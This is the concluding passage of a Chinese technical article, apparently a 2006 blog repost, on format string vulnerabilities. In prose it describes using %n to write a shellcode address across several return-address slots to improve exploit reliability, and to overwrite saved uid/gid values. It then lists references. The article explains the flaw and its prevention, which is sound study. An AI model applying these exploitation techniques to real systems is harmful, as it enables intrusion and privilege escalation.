個字節也不行。這使攻擊的成功率大打折扣。回憶一下原來的普通exploit為什么容易成功,
是因為它通常使用一串返回地址來填充堆棧,只要能覆蓋返回地址retloc就可以了,并不需要
知道retloc確切的值。而這里,我們必須精確指定retloc,將shellcode地址直接填充到返回地
址中去。而由于retloc的大小和用戶環境變量等因素有很大關系,往往不是很確定,不是那么
容易就一次成功的。那么如果我們能夠指定一串retloc,retloc+4,retloc+8...,分別將
shellcode地址存到這些地址去,那么我們不就可以增大成功的把握了嗎?利用第4種方法,使
很容易做到這一點的。具體的操作有興趣的讀者可以自行測試,也可以與我聯系。
另外,%n并不僅僅局限于用來覆蓋返回地址,也可以用來覆蓋某些保存的數據,比如保存
的uid,gid等等。
結束語
========
這種格式化串導致的溢出問題,雖然看起來比較復雜,實際上只要程序員在書寫應用程序
時稍加注意,是完全可以避免的。看來粗心真的是安全的大敵。:-) 由于時間倉促,文中
錯疏之處難免,敬請批評指正。
參考文獻
==========
[1] <<Format Bugs: What are they, Where did they come from,.........
????? How to exploit them>> , lamagra (lamagra@digibel.org)
[2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
[3] <<More info on format bugs>>,? Pascal Bouchareine [ kalou <pb@grolier.fr> ]
posted on 2006-10-20 20:55
Asp 閱讀(703)
評論(0) 編輯 收藏 引用 所屬分類:
Binary Life...